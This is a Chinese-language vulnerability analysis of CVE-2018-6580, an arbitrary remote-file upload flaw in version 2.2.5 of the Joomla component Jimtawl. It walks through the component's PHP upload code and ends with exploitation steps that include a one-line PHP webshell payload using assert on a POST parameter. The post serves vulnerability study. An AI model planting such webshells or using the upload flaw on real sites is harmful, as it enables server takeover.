本文分析一下CVE-2018-6580漏洞的产生原因
0x01 前言
很久没有代码审计了,无意的逛着Exploit-DB看到了几个关于Joomla!的漏洞,想分析一下看看。
审计环境:
组件 | 组件版本 |
---|---|
Joomla | 3.8.5 |
Apache | 2.4 |
PHP | 5.4 |
操作系统 | Windows7 |
0X02 漏洞简介
Exploit-DB地址:https://www.exploit-db.com/exploits/43958/
该漏洞不是Joomla的漏洞,是其中一个组件的漏洞,名字叫“Jimtawl”,漏洞版本是:“2.2.5”
- 组件下载地址:http://janguo.de/lang-en/joomla-25-higher/jimtawl/pkg_jimtawl-2-2-5-current-r561-zip.raw
- https://extensions.joomla.org/extension/jimtawl/
Jimtawl代表网络上的一个电台。向访问者显示您的节目日历,节目详情,播放列表以及正在播放的人员。
功能如下:
- 提供广播节目:广播时间,下一个广播日期,说明,团队,联系人,网站
- 介绍主持人和编辑的东西:名字,图片,描述
- 为当前节目安排和创建播放列表
- 呈现细分:标题,文字,音频,类别,流派,图像
- 导航程序日历
- 分段存档
- 模块“现在谁在空中”
- 支持Joomlas搜索
- Podcast Feed
它的漏洞产生原因是任意文件上传,你一定会觉得匪夷所思,Joomla这么成熟的项目,它们的组件会不会也比较安全? You are wrong..
0x03 代码分析
Exploit-DB上给出了一些简短的描述,但是这也足够了,我们可以通过URL找到漏洞对应的代码。
index.php?option=com_jimtawl&view=upload&task=upload&pop=true&tmpl=component
这个页面是用来上传文件地方。
/components/com_jimtawl/models/media.php
107 Lines :
<?php
....
public function import($url = false, $path = false) {
global $_FILES;
jimport('joomla.filesystem.path');
jimport('joomla.filesystem.file');
$config = JComponentHelper :: getParams('com_jimtawl');
$this->file_info = new jimtawl_fileinfo;
$this->file_info->upload_dir = JPath :: clean(JPATH_SITE . $config->get('upload_dir', '/media/'));
if ($path) {
$this->file_info->is_local = true;
$ext = strtolower(JFile::getExt($path));
switch($ext ) {
case 'wav':
$this->_get_localfile($url, $path);
break;
case 'ogg':
case 'mp3':
$this->_get_local_fileinfo($path);
$this->file_info = $this->_move_uploaded($this->file_info);
break;
}
} else {
if ($url) {
$this->_get_remotefile($url);
} else {
$this->_fileinfo_from_array($_FILES['userfile']);
unset ($_FILES['userfile']);
$this->file_info = $this->_move_uploaded($this->file_info);
}
}
$this->_setMediaType();
$this->_import_media();
}
......
该方法主要是来处理上传逻辑的,可以看到一开始就先获取一些优先文件,例如:wav,ogg,mp3
这类的会被分别调用_get_localfile
方法去进行上传。
我们主要关注的还是从if($url)
开始:
<?php
if ($url) {
$this->_get_remotefile($url);
} else {
$this->_fileinfo_from_array($_FILES['userfile']);
unset ($_FILES['userfile']);
$this->file_info = $this->_move_uploaded($this->file_info);
}
跟踪一下_get_remotefile
函数:
<?php
....
private function _get_remotefile($url) {
$info = parse_url($url); // 当我们的URL传递进来后先解析URL地址
$pathinfo = explode("/", $info['path']); // 获取URI
$this->file_info->name = end($pathinfo);
$this->file_info->path = $this->file_info->upload_dir . $this->file_info->name;
if ($info["host"] == "")
return -2;
if ((!isset ($info["port"])) or ($info["port"] == ""))
$info["port"] = 80;
$fp = fsockopen($info["host"], $info["port"], $errno, $errstr, 30); // 连接远程服务器
if ($fp) {
fputs($fp, "HEAD " . $info["path"] . " HTTP/1.0\r\n" . "Host: " . $info["host"] . "\r\n" . "Connection: close\r\n\r\n");
do {
$response = fgets($fp, 1024);
} while (!feof($fp) AND stristr($response, 'content-length') === false); // 一直读取文件
if (stristr($response, 'content-length') !== false) {
$this->file_info->size = substr($response, 16);
} else {
$this->file_info->size = 0;
}
fclose($fp); // 关闭连接
} else {
$this->file_info->error = 5;
}
$file_in = fopen($url, "r"); // 这里再次读取,其实可以用file_get_contents...
$file_out = fopen($this->file_info->path, "w"); // 重新打开一个文件描述符,准备将文件写入服务器
if ($file_out) {
fwrite($file_out, fread($file_in, 4056)); // 读取 4056个字节并写入文件
fclose($file_out);
} else {
return JError :: raiseError(-1, JText :: _('Unable to open file '.$this->file_info->path ));
}
fclose($file_in);
$this->file_info->extern = true;
$this->file_info->url = $url;
}
.......
?>
上面简单分析了一下代码,逻辑不是很难,主要是我不是很了解这个cms的框架,只能看个大概了。
0x04 远程文件任意下载
上面分析了这么多,这个洞到底出现在哪里呢?
其实主要就是未对文件扩展名进行校验,其实他们是有校验方法的,只是没有调用的不是时候:
<?php
....
private function _setMediaType() {
// is this audio, image, or not allowed?
$media_type = "-1";
$path_info = pathinfo($this->file_info->name);
$extension = strtolower($path_info["extension"]);
for ($i = 0; $i < count($this->mediatypes); $i++) {
$mimetypes = explode(" ", $this->mediatypes[$i]['extensions']);
if (in_array($extension, $mimetypes)) {
$media_type = $i;
}
}
if ($media_type == "-1")
$this->file_info->error = 6;
$this->file_info->media_type = $media_type;
/// print_r($this->file_info);die;
$mediaTypeName = $this->mediatypes[$media_type]['name'];
return $mediaTypeName;
}
....
?>
这里是遍历了白名单扩展名,进行比较……
利用上面的过程非常简单,只需要在URL Link中输入一个扩展名为PHP的远程文件,注意,它的代码必须是这样:
<?php
echo '<?php assert($_POST["test"]);?>';
?>
因为如果直接保存一句话木马,它还是会被我们的PHP环境解析,当然也可以将PHP的解析去掉 ~
在组件上提交这个URL:
当文件上传上去以后,我们就可以在/media
文件夹下发现我们的文件了:
0x05 总结
这个漏洞只是提及了一个简单的远程文件下载漏洞,而在Exploit-DB上披露的是直接上传文件漏洞。我认为可以刷一个CVE,但是没必要了,贵在学习